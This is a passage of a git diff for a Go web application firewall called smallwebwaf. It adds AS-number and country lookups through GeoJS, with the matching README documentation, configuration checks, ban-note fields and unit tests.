each client's counters and history, and GeoJS's answers in JSON files +across restarts, takes in your edits of those files, such as a ban you make, +keep or lift, and of the rule files while it runs, writes a JSON log line for +every request, sends its log lines to a syslog server too if you name one, sends +an alert to a webhook, to Slack and to ntfy, each if you name one, for each ban +it makes or makes permanent, for GeoJS failing and for a rule file or state file +with an error, serves Prometheus metrics to a scraper that holds the metrics +token, lets an admin who holds the admin token list, add and lift bans and ask +what it knows of a client, and in `observe` mode passes on the requests it would +refuse, logging what it would have done with them. It comes as the image the +app's own image is built on. The rest of the design comes after that, in the +order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools +that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -115,15 +117,15 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of is not counted for the rate limits. A ban sets the client's counters back to zero. Each ban carries notes for deciding whether to lift it: the limit, its window and the requests counted in it, the request that broke it, the client's - country when it was looked up, the netblock's requests since it was first - seen, how many of them the ban has refused, and how many bans the netblock had - before, for a broken limit, for a clear sign of attack and by an admin. At - most `SWWAF_MAX_BANS` bans `smallwebwaf` made are kept, past, active and - permanent; past that, the earliest such ban of the netblock that has gone - longest without a request is dropped first. The bans whose cause is `admin`, - those you make or keep, are kept besides, and never dropped. `bans.json` shows - the bans and their notes, a restart lifts none, and you make, keep or lift a - ban by editing it (see "State files" below). + AS number, AS name and country once they are looked up, the netblock's + requests since it was first seen, how many of them the ban has refused, and + how many bans the netblock had before, for a broken limit, for a clear sign of + attack and by an admin. At most `SWWAF_MAX_BANS` bans `smallwebwaf` made are + kept, past, active and permanent; past that, the earliest such ban of the + netblock that has gone longest without a request is dropped first. The bans + whose cause is `admin`, those you make or keep, are kept besides, and never + dropped. `bans.json` shows the bans and their notes, a restart lifts none, and + you make, keep or lift a ban by editing it (see "State files" below). - Checks each request against the rules of the rule files (see "Rule files" below) after the rate limits, and before its body is read. A `log` rule that matches is noted in the log line; a `block` rule refuses the request with @@ -139,16 +141,23 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set, and the default rule file of back to zero, and does not make the netblock's next ban for a broken limit longer. Its notes give the id and the target of the rule that matched in place of the limit. +- Looks up the AS number and country of every client through GeoJS, after the + static lists and bans, unless `SWWAF_LOOKUP_SOURCE` is `off` (see "Country and + AS number lookup" below), for the request log, the client's history, the notes + of its bans, their alerts and the metrics. A request waits for its client's + first answer only while a setting acts on it, a country list or + `SWWAF_ADD_LOOKUP_HEADERS`. Otherwise it goes on at once, and the answer + reaches the client's history and the notes of its bans when it comes, but not + the log lines of the requests that went on without it, nor the alerts already + raised for those bans. - Refuses a request from a country you refuse with `SWWAF_BAN_RESPONSE`, as soon as the client's country is known and before its body is read; such a request - is not counted for the rate limits. While one of the country lists below is - set, each client's country is looked up through GeoJS (see "Country and AS - number lookup" below); with neither set, no visitor's address leaves the host. - A client on a private, loopback or link-local address has no country and is - never looked up: `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless it is - in `SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. + is not counted for the rate limits. A client on a private, loopback or + link-local address has no country and is never looked up: + `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses it unless it is in + `SWWAF_ALLOW_NETS`, and `SWWAF_DENIED_COUNTRIES` does not refuse it. - Checks the client's own address against the static lists, the three netblock - settings below, before anything else, its country included. A client in + settings below, before anything else, its lookup included. A client in `SWWAF_ALLOW_NETS` skips bans, the country lists, the rate limits and the rule files, and is not looked up; the timeouts and size limits still apply. A client in `SWWAF_DENY_NETS` is refused with `SWWAF_BAN_RESPONSE` before its @@ -267,6 +276,22 @@ effective settings are logged at start. percent-encoded, such as a space, is written percent-encoded in a prefix, as in `/my%20files/`, and there are no wildcards: `*` is a character like any other. +- `SWWAF_LOOKUP_SOURCE` (default `geojs`): where each client's AS number and + country are looked up: `geojs`, the GeoJS web service, which is then told the + address of every new visitor, or `off`, which looks up no client and sends no + address to GeoJS. `file`, for the IPinfo Lite database, comes with + https://git.eeqj.de/sneak/smallwebwaf/issues/22. With `off`, a country list + that is not empty, or `SWWAF_ADD_LOOKUP_HEADERS` set to `true`, stops the + start, with a message naming it and `SWWAF_LOOKUP_SOURCE`. +- `SWWAF_LOOKUP_TIMEOUT` (default `1s`): how long a request waits for its + client's first answer while a setting acts on it, and how long a request to + GeoJS may take before it is abandoned. +- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` passes the app the + client's AS number, such as `AS64496`, in `X-Client-ASN`, and its country in + `X-Client-Country`, leaving out one that is unknown. A request then waits for + its client's first answer, as it does while a country list is set. Whatever + this setting says, any `X-Client-ASN` or `X-Client-Country` the client sent, + in any case, is removed, so that the app never receives a client's own. - `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused, for example `cn,ru,kp`. - `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only @@ -318,8 +343,9 @@ effective settings are logged at start. shorter than 32 characters stops the start. The settings logged at start show `********` in its place. Given as a file, it can be kept out of the app's reach (see "Settings given as files" below). -- `SWWAF_METRICS_TOP_N` (default `50`): how many countries get series of their - own in the metrics by country; the others are counted as `other`. +- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many + countries get series of their own in the metrics by AS number and by country; + the others are counted as `other`. - `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the rule files. A directory that does not exist stops the start. - `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks @@ -384,14 +410,13 @@ ISO 3166-1 assigns today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a code on both country lists. `off` switches a timeout, a size limit, a rate limit, `SWWAF_ALERT_COOLDOWN` or -`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, the ban -settings, the state settings, `SWWAF_METRICS_TOP_N` and -`SWWAF_LOG_REMOTE_BUFFER` cannot be off. +`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, +`SWWAF_LOOKUP_TIMEOUT`, the ban settings, the state settings, +`SWWAF_METRICS_TOP_N` and `SWWAF_LOG_REMOTE_BUFFER` cannot be off. Several limits are fixed rather than settings. At most 20,000 clients are kept, -with their counters and history, and an IPv6 client is counted by its /64. A new -client waits at most a second for its country, and at most 100,000 answers from -GeoJS are kept, for 7 days each. +with their counters and history, and an IPv6 client is counted by its /64. At +most 100,000 answers from GeoJS are kept, for 7 days each. ### Settings given as files @@ -431,12 +456,13 @@ and for the container, `-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro` and refused ones included: ``` -{"type":"request","time":"2026-10-03T12:00:00.123Z","instance":"fsn1app1/gitea","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","country":"DE","request_headers":{"accept":"*/*"},"response_content_type":"text/html; charset=utf-8","upstream_status":200,"action":"forward","counts":{"minute":1,"hour":12,"day":40},"duration_total":3.217,"duration_checks":0.041,"duration_upstream_connect":0.052,"duration_upstream_first_byte":2.874,"duration_upstream_total":3.104} +{"type":"request","time":"2026-10-03T12:00:00.123Z","instance":"fsn1app1/gitea","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"response_content_type":"text/html; charset=utf-8","upstream_status":200,"action":"forward","counts":{"minute":1,"hour":12,"day":40},"duration_total":3.217,"duration_checks":0.041,"duration_upstream_connect":0.052,"duration_upstream_first_byte":2.874,"duration_upstream_total":3.104} ``` A field that does not apply to a request is left out of its line, apart from `type`, the fields from `time` to `user_agent`, `request_id`, `peer_ip`, -`client_group`, `country`, `action` and `duration_total`, which every line has. +`client_group`, `asn`, `as_name`, `country`, `action` and `duration_total`, +which every line has. - `time` is when the request arrived, in UTC. `instance` is `SWWAF_INSTANCE_NAME`. `scheme` is the `X-Forwarded-Proto` a trusted proxy @@ -448,11 +474,14 @@ A field that does not apply to a request is left out of its line, apart from `X-Forwarded-For` header as received, several lines of it joined with `, `. `client_group` is the client as the rate limits count it: its IPv4 address as a /32, or the /64 of its IPv6 address. -- `country` is the client's country as GeoJS places it. It is empty with neither - country list set, for a client in `SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`, for - a client on a private, loopback or link-local address, when GeoJS cannot place - the client or has not answered in time, and for a request whose client a ban - covers, even when the client's country is known. +- `asn`, `as_name` and `country` are the client's AS number, such as `AS64496`, + the name of that AS, and its country, as GeoJS gives them. Each is empty when + `SWWAF_LOOKUP_SOURCE` is `off`, for a client in `SWWAF_ALLOW_NETS` or + `SWWAF_DENY_NETS`, for a client on a private, loopback or link-local address, + when GeoJS has not answered by the time the request went on, and for a request + whose client a ban covers, even when the answer is known. `asn` and `as_name` + are empty too when GeoJS knows no AS number for the client, which it gives as + 64512, and `country` when GeoJS cannot place the client. - `content_type` is the request's `Content-Type`, and `content_length` the length the request announced for its body, which is left out for none or zero. - `request_headers` are the request's headers that `SWWAF_LOG_REQUEST_HEADERS` @@ -593,6 +622,8 @@ is sent on one line: "ban_expires": "2026-10-06T13:00:00.123Z", "cause": "limit", "notes": { + "asn": "", + "as_name": "", "country": "", "limit": 1000, "window": "minute", @@ -622,8 +653,9 @@ is sent on one line: UTC. - `client` is the address of the client whose request raised the alert, and `netblock` the netblock of the ban; both are empty for `source_failure` and - `file_error`. `asn` and `as_name` are empty until AS numbers are looked up, - and `country` is, for a ban, the client's country as the ban's notes give it. + `file_error`. `asn`, `as_name` and `country` are, for a ban, the client's as + the ban's notes give them when the alert is raised: empty, as in this alert, + when GeoJS had not answered about the client by then. - `reason` is a short sentence; for a ban, the ban's `reason` in `bans.json`. - `detail` is what is particular to the event: for a ban, its `cause`, when it ends as `ban_expires`, in the form the request log gives it, and its `notes`, @@ -719,14 +751,15 @@ entries by client address, but for the alerts waiting, with times in UTC. as `matched the rule env-file`; for yours, what you wrote. Its `lifted` is when you lifted it, and is left out until you do. - `clients.json`: each client's two buckets in the minute, the hour and the day, - and its history: when it was first and last seen, its country as last looked - up and when, its requests, how many were forwarded and how many refused (one - `smallwebwaf` answered at its own endpoints is neither, unless it was refused - with `401` for a missing or wrong token), the body bytes in each direction, - its responses by status class and its offences by kind. Each client is on a - line of its own, so `grep` shows everything about one. -- `lookups.json`: GeoJS's answers, one to a line, with when GeoJS gave each and - when it was last used. + and its history: when it was first and last seen, its AS number, AS name and + country as last looked up and when GeoJS gave them, its requests, how many + were forwarded and how many refused (one `smallwebwaf` answered at its own + endpoints is neither, unless it was refused with `401` for a missing or wrong + token), the body bytes in each direction, its responses by status class and + its offences by kind. Each client is on a line of its own, so `grep` shows + everything about one. +- `lookups.json`: GeoJS's answers, one to a line, each with the client's AS + number, AS name and country, when GeoJS gave it and when it was last used. - `alerts.json`: the state of the alerts (see "Alerts" above), indented to be read: under `cooldowns`, for each event and netblock, or event and `file` or `source`, or event alone, when the last alert was sent, `sent`, and the @@ -764,8 +797,8 @@ client's `client`, or the `start` of a window in which it has requests; an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or `answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or `time`. So does a ban whose `cause` is not `limit`, `attack` or `admin`, and -alerts waiting for a destination that is not `webhook`, `slack` or `ntfy`. The -AS number and AS name come with their lookup. +alerts waiting for a destination that is not `webhook`, `slack` or `ntfy`. An +answer's `asn` or `as_name` left out reads as empty. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -934,11 +967,16 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets series of their own, and the others are counted as `other`. A country that drops out of them loses its series, and its later requests count as `other`; one that comes into them gets a series that counts from then on. +- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and + `smallwebwaf_asn_response_bytes_total`, by `asn`, the client's AS number, for + the requests whose client's AS number is known, with the `SWWAF_METRICS_TOP_N` + busiest AS numbers kept as the countries are. - `smallwebwaf_geojs_requests_total`: the requests to GeoJS; `smallwebwaf_geojs_failures_total`: those that failed, an answer that leaves out an address asked about included; and `smallwebwaf_geojs_unanswered_total`: - the requests whose client counted as coming from an unknown country because - GeoJS had not answered about it in time. + the requests that needed their client's answer, for a country list or + `SWWAF_ADD_LOOKUP_HEADERS`, and went on without it because GeoJS had not given + it in time. - `smallwebwaf_tracked_clients`: the clients in the table of clients. - `smallwebwaf_state_file_writes_total`, `smallwebwaf_state_file_write_failures_total`, @@ -989,9 +1027,10 @@ request that carries the token as `Authorization: Bearer `: `bans.json` does, and answers `404` when no ban on it is active. - `GET /_smallwebwaf/clients/`: what `smallwebwaf` knows of the client at the address ``: under `client`, the client as `clients.json` holds it, - with its counters and its history, which holds its country as last looked up - and its offences, or `null` when the table of clients does not hold it; and - under `bans`, every ban on a netblock the address is in, with its notes. + with its counters and its history, which holds its AS number, AS name and + country as last looked up and its offences, or `null` when the table of + clients does not hold it; and under `bans`, every ban on a netblock the + address is in, with its notes. The ban endpoints answer with the bans listed, made or lifted, under `bans`, each as an entry of `bans.json` (see "State files" above), and a ban they make @@ -1247,49 +1286,51 @@ the metrics, failure behaviour and the build order. ## Country and AS number lookup -So far `smallwebwaf` looks up only the country, only through GeoJS, and only -while `SWWAF_DENIED_COUNTRIES` or `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set: -then the address of every new visitor is sent to GeoJS, except a visitor in -`SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS` and one whose netblock a ban covers, and -with neither set, none is. An IPv6 visitor is asked about by the first address -of its /64. A new visitor waits at most a second for its answer, and without one -counts as coming from an unknown country until the answer arrives. The addresses -waiting are asked about together, up to 200 in one request, one request at a -time; at most 10,000 visitors wait, and one more counts as coming from an -unknown country until there is room. While GeoJS fails, visitors with a kept -answer are unaffected and new ones count as coming from an unknown country. -GeoJS is then left alone for a second, twice as long after each further failure -up to five minutes, and asked again by the next request that needs it. +`smallwebwaf` looks up the AS number and country of every client through GeoJS, +a free web service that needs no account and no file, for the request log, the +client's history, the notes of its bans, their alerts and the metrics, and for +the country lists when you set them. This means that GeoJS is told the address +of every new visitor, whether or not a setting uses the answer, unless you set +`SWWAF_LOOKUP_SOURCE=off`. The only visitors it is not told about are those in +`SWWAF_ALLOW_NETS` or `SWWAF_DENY_NETS`, those whose netblock a ban covers, and +those on a private, loopback or link-local address. An IPv6 visitor is asked +about by the first address of its /64. Each answer is kept for seven days, in +memory and in `lookups.json`, so that it survives a restart, and a visitor whose +answer is kept is not asked about again. -In the full design, `smallwebwaf` looks up the AS number and country of every -client, for the request log, the metrics and the ban notes, and for the country -lists and biased limits when you set them. It works with no setup: by default it -asks the free GeoJS web service, which needs no account and no file. This means -that, by default, the address of every new visitor is sent to GeoJS. Each answer -is kept for seven days, in memory and in `lookups.json`, so that it survives a -restart, and many addresses are asked about in one request. GeoJS publishes no -rate limit but may block a caller it thinks asks too much; while it is not -answering, new visitors count as coming from an unknown country, which -`SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` refuses. +A request waits for its client's first answer only while a setting acts on it +before the request goes on: a country list, or `SWWAF_ADD_LOOKUP_HEADERS`. A new +visitor then waits up to `SWWAF_LOOKUP_TIMEOUT`, a second by default, and +without an answer counts as coming from an unknown country until the answer +arrives. Otherwise no request waits: it goes on at once and is logged without +the answer, which reaches the client's history and the notes of its bans when it +comes. The addresses waiting are asked about together, up to 200 in one request, +one request at a time; at most 10,000 visitors wait, and one more is not asked +about until there is room, counting meanwhile as coming from an unknown country. +GeoJS publishes no rate limit but may block a caller it thinks asks too much. +While GeoJS fails, visitors with a kept answer are unaffected and new ones count +as coming from an unknown country, which `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` +refuses. GeoJS is then left alone for a second, twice as long after each further +failure up to five minutes, and asked again by the next request from a visitor +without an answer. To keep your visitors' addresses on your own host, set `SWWAF_LOOKUP_SOURCE=off`, or use the database file instead of GeoJS: `SWWAF_LOOKUP_SOURCE=file` reads the free IPinfo Lite database -(`ipinfo_lite.mmdb`). `SWWAF_LOOKUP_SOURCE` comes in milestone 3 or later (see -the build order in [`SPEC.md`](SPEC.md)); until then GeoJS is asked only while a -country list is set. You download the database with your own IPinfo account, -mount the directory that holds it into the container, point -`SWWAF_LOOKUP_DB_PATH` at the file and refresh it when you choose; `smallwebwaf` -never downloads it itself, and reads it again when you replace it. It has to be -the directory rather than the file itself: docker does not show a single mounted -file being replaced, so a refresh would go unseen. IPinfo releases it under the -Creative Commons Attribution-ShareAlike 4.0 International License and asks for -attribution, in its own words on https://ipinfo.io/lite: "The attribution -requirements can be met by giving our service credit as your data source. Simply -place a link to IPinfo on the website, application, or social media account that -uses our data." Its example of such a credit is a link mentioning "IP address -data is powered by IPinfo". A service that uses the database through -`smallwebwaf` should carry that link. +(`ipinfo_lite.mmdb`), and comes with +https://git.eeqj.de/sneak/smallwebwaf/issues/22. You download the database with +your own IPinfo account, mount the directory that holds it into the container, +point `SWWAF_LOOKUP_DB_PATH` at the file and refresh it when you choose; +`smallwebwaf` never downloads it itself, and reads it again when you replace it. +It has to be the directory rather than the file itself: docker does not show a +single mounted file being replaced, so a refresh would go unseen. IPinfo +releases it under the Creative Commons Attribution-ShareAlike 4.0 International +License and asks for attribution, in its own words on https://ipinfo.io/lite: +"The attribution requirements can be met by giving our service credit as your +data source. Simply place a link to IPinfo on the website, application, or +social media account that uses our data." Its example of such a credit is a link +mentioning "IP address data is powered by IPinfo". A service that uses the +database through `smallwebwaf` should carry that link. Neither source can place a private address, so a client on one, such as a visitor on your local network, another container or your monitoring, has no @@ -1323,8 +1364,9 @@ addresses are never sent to GeoJS. and which ban `smallwebwaf` made is dropped when `SWWAF_MAX_BANS` are held. - `internal/rules`: reads the rule files at start and again as they change, and tells which of their rules a request matches. -- `internal/lookup`: looks up each client's country through GeoJS, and keeps the - answers. +- `internal/lookup`: looks up each client's AS number and country through GeoJS, + keeps the answers, and hands each new one to the proxy, which adds it to the + client's history and to the notes of its bans. - `internal/ratelimit`: the table of clients: counts each client's requests, tells when one takes it over a rate limit, and keeps each client's history. - `internal/state`: reads the state files at start, takes in an admin's edit of diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index a1d71d1..1a453c4 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -137,8 +137,9 @@ type Params struct { } // Alert is one alert, as the webhook is sent it and alerts.json holds it, -// with the fields of the "Alert webhook schema" section of SPEC.md. ASN -// and ASName are empty until AS numbers are looked up. +// with the fields of the "Alert webhook schema" section of SPEC.md. ASN, +// ASName and Country are, for a ban, the client's as the ban's notes give +// them. // //nolint:tagliatelle // SPEC.md's alert webhook schema names its fields in snake_case type Alert struct { diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 07ef067..07a19f5 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -91,7 +91,11 @@ func (b Ban) ActiveAt(now time.Time) bool { // //nolint:tagliatelle // the state files use snake_case, as the request log does type Notes struct { - // Country is the client's country, when it was looked up. + // ASN, ASName and Country are the client's AS number, AS name and + // country, when they were looked up: when the request that caused the + // ban was made, or when GeoJS answered about the client afterwards. + ASN string `json:"asn"` + ASName string `json:"as_name"` Country string `json:"country"` // Limit, Window and Count are, for a ban for a broken limit, the limit // that was broken, its window, "minute", "hour" or "day", and the @@ -411,6 +415,28 @@ func (l *Ledger) Bans(netblock netip.Prefix) []Ban { return slices.Clone(*bans) } +// AddLookup gives the notes of netblock's bans that have no AS number, AS +// name or country yet those of a client in it, as GeoJS answered about +// it. It is not a request from netblock, and leaves when it was last seen +// unchanged. It does not have bans.json written at once: the notes are +// written with its next write, as the counts in them are. +func (l *Ledger) AddLookup(netblock netip.Prefix, asn, asName, country string) { + l.mu.Lock() + defer l.mu.Unlock() + + bans, found := l.netblocks.Peek(netblock) + if !found { + return + } + + for i := range *bans { + notes := &(*bans)[i].Notes + if notes.ASN == "" && notes.ASName == "" && notes.Country == "" { + notes.ASN, notes.ASName, notes.Country = asn, asName, country + } + } +} + // Made returns how many bans for cause have been made since the start: // for CauseLimit and CauseAttack, by the ledger; for CauseAdmin, by an // admin, with BanForAdmin or in an edit of bans.json, as LoadEdit counts diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index 1266339..3514d15 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -454,6 +454,45 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) { } } +func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + other := netip.MustParsePrefix("198.51.100.7/32") + + // A ban made with the client's lookup, one made before it came, after + // the first ended, and one on another netblock. + ledger.BanForLimit(netblock, midnight(), bans.Notes{ + ASN: "AS64497", ASName: "Other Net", Country: "FR", + }) + ledger.BanForLimit(netblock, midnight().Add(time.Hour), bans.Notes{}) + ledger.BanForLimit(other, midnight(), bans.Notes{}) + + ledger.AddLookup(netblock, "AS64496", "Example Net", "DE") + + held := ledger.Bans(netblock) + if len(held) != 2 { + t.Fatalf("%s has %d bans, want 2", netblock, len(held)) + } + + for i, want := range []bans.Notes{ + {ASN: "AS64497", ASName: "Other Net", Country: "FR"}, + {ASN: "AS64496", ASName: "Example Net", Country: "DE"}, + } { + got := held[i].Notes + if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country { + t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1, + got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country) + } + } + + if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" { + t.Errorf("the ban on %s has %q and %q, want neither", + other, notes.ASN, notes.Country) + } +} + // defaultRules are the rules at the settings' defaults. func defaultRules() bans.Rules { return bans.Rules{ diff --git a/internal/config/config.go b/internal/config/config.go index dd759fb..772ec4b 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -91,6 +91,15 @@ type Config struct { // limits neither count nor refuse (SWWAF_RATE_LIMIT_EXEMPT_PATHS). // Each starts with /. RateLimitExemptPaths []string + // LookupSource is where each client's AS number and country are + // looked up (SWWAF_LOOKUP_SOURCE): geojs, or off for nowhere. A request + // waits up to LookupTimeout for its client's first answer while a + // setting needs it (SWWAF_LOOKUP_TIMEOUT), which cannot be off. + // AddLookupHeaders is true when the app is passed the client's AS + // number and country in headers (SWWAF_ADD_LOOKUP_HEADERS). + LookupSource string + LookupTimeout time.Duration + AddLookupHeaders bool // DeniedCountries are the countries whose clients are refused // (SWWAF_DENIED_COUNTRIES). ExclusivelyAllowedCountries, when not // empty, are the only countries whose clients are let through @@ -138,8 +147,8 @@ type Config struct { AdminToken string // MetricsToken is the bearer token a scraper sends for the metrics // (SWWAF_METRICS_TOKEN), "" while it is unset and the metrics are off. - // MetricsTopN is how many countries get series of their own in the - // metrics (SWWAF_METRICS_TOP_N). + // MetricsTopN is how many AS numbers and how many countries get series + // of their own in the metrics (SWWAF_METRICS_TOP_N). MetricsToken string MetricsTopN int // RulesDir is the directory of the rule files (SWWAF_RULES_DIR), read @@ -233,6 +242,8 @@ var ( "is taken out of every request by Go's HTTP server, so it can never " + "be logged") errOnBothLists = errors.New("is in SWWAF_DENIED_COUNTRIES too") + errNotLookupSource = errors.New("is not geojs or off") + errNeedsLookups = errors.New("it needs each client looked up") errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") errNotDurationAboveZero = errors.New( "is not a duration above zero, such as 1h or 7d") @@ -300,6 +311,9 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "10000"), RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "50000"), RateLimitExemptPaths: env.pathPrefixes("SWWAF_RATE_LIMIT_EXEMPT_PATHS", ""), + LookupSource: env.lookupSource("SWWAF_LOOKUP_SOURCE", "geojs"), + LookupTimeout: env.durationNotOff("SWWAF_LOOKUP_TIMEOUT", "1s"), + AddLookupHeaders: env.boolean("SWWAF_ADD_LOOKUP_HEADERS", "false"), DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""), ExclusivelyAllowedCountries: env.countries( "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), @@ -339,13 +353,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { cfg.InstanceName, cfg.LogRemoteURL != nil) env.checkInstanceNameForNtfy(cfg.InstanceName, cfg.AlertNtfyURL != nil) - - for _, country := range cfg.ExclusivelyAllowedCountries { - if slices.Contains(cfg.DeniedCountries, country) { - env.check("SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", - fmt.Errorf("%q %w", country, errOnBothLists)) - } - } + env.checkCountriesAndLookups(cfg) if env.err != nil { return nil, env.err @@ -547,6 +555,47 @@ func (e *environment) countries(name, defaultValue string) []string { return countries } +// lookupSource reads the setting that is where clients are looked up: +// geojs, or off. +func (e *environment) lookupSource(name, defaultValue string) string { + source := e.value(name, defaultValue) + if source != "geojs" && source != off { + e.check(name, fmt.Errorf("%q %w", source, errNotLookupSource)) + } + + return source +} + +// checkCountriesAndLookups refuses a country on both country lists, and, +// while SWWAF_LOOKUP_SOURCE is off, each setting that needs clients looked +// up: the country lists and SWWAF_ADD_LOOKUP_HEADERS. +func (e *environment) checkCountriesAndLookups(cfg *Config) { + for _, country := range cfg.ExclusivelyAllowedCountries { + if slices.Contains(cfg.DeniedCountries, country) { + e.check("SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", + fmt.Errorf("%q %w", country, errOnBothLists)) + } + } + + if cfg.LookupSource != off { + return + } + + for _, setting := range []struct { + name string + set bool + }{ + {"SWWAF_DENIED_COUNTRIES", len(cfg.DeniedCountries) > 0}, + {"SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", len(cfg.ExclusivelyAllowedCountries) > 0}, + {"SWWAF_ADD_LOOKUP_HEADERS", cfg.AddLookupHeaders}, + } { + if setting.set { + e.check(setting.name, fmt.Errorf("is set while SWWAF_LOOKUP_SOURCE is off; %w", + errNeedsLookups)) + } + } +} + // headerNames reads a setting that is a list of header names, and // returns them in lower case. func (e *environment) headerNames(name, defaultValue string) []string { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index ecd53fa..3ba91f6 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -40,6 +40,9 @@ const ( rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" + lookupSource = "SWWAF_LOOKUP_SOURCE" + lookupTimeout = "SWWAF_LOOKUP_TIMEOUT" + addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS" deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" banResponse = "SWWAF_BAN_RESPONSE" @@ -117,6 +120,12 @@ const ( // off switches a timeout, a size limit or a rate limit off. const off = "off" +// enabled is true, as a setting's value. +const enabled = "true" + +// defaultLookupSource is the default of SWWAF_LOOKUP_SOURCE. +const defaultLookupSource = "geojs" + // environment is a set of environment variables, for FromEnvironment. type environment map[string]string @@ -173,6 +182,9 @@ func TestDefaults(t *testing.T) { RulesDir: "/etc/smallwebwaf/rules.d", RulesEnabled: true, }) + wantLookupSettings(t, cfg, config.Config{ + LookupSource: defaultLookupSource, LookupTimeout: time.Second, + }) if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { t.Errorf("%s is %s", upstreamURL, cfg.UpstreamURL) @@ -773,6 +785,50 @@ func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { } } +func TestLookupSettingsAsSet(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + lookupTimeout: "500ms", addLookupHeaders: enabled, + }) + wantLookupSettings(t, cfg, config.Config{ + LookupSource: defaultLookupSource, LookupTimeout: 500 * time.Millisecond, + AddLookupHeaders: true, + }) + + cfg = fromEnvironment(t, environment{lookupSource: off}) + wantLookupSettings(t, cfg, config.Config{ + LookupSource: off, LookupTimeout: time.Second, + }) +} + +func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { + t.Parallel() + + for name, value := range map[string]string{ + deniedCountries: "kp", + allowedCountries: "de", + addLookupHeaders: enabled, + } { + t.Run(name, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{ + lookupSource: off, name: value, + }.lookupEnv) + if err == nil || !strings.HasPrefix(err.Error(), name+": ") || + !strings.Contains(err.Error(), lookupSource+" is off") { + t.Errorf("error %v, want one naming %s and %s", err, name, lookupSource) + } + }) + } + + // Set empty, the country lists need nothing looked up. + fromEnvironment(t, environment{ + lookupSource: off, deniedCountries: "", 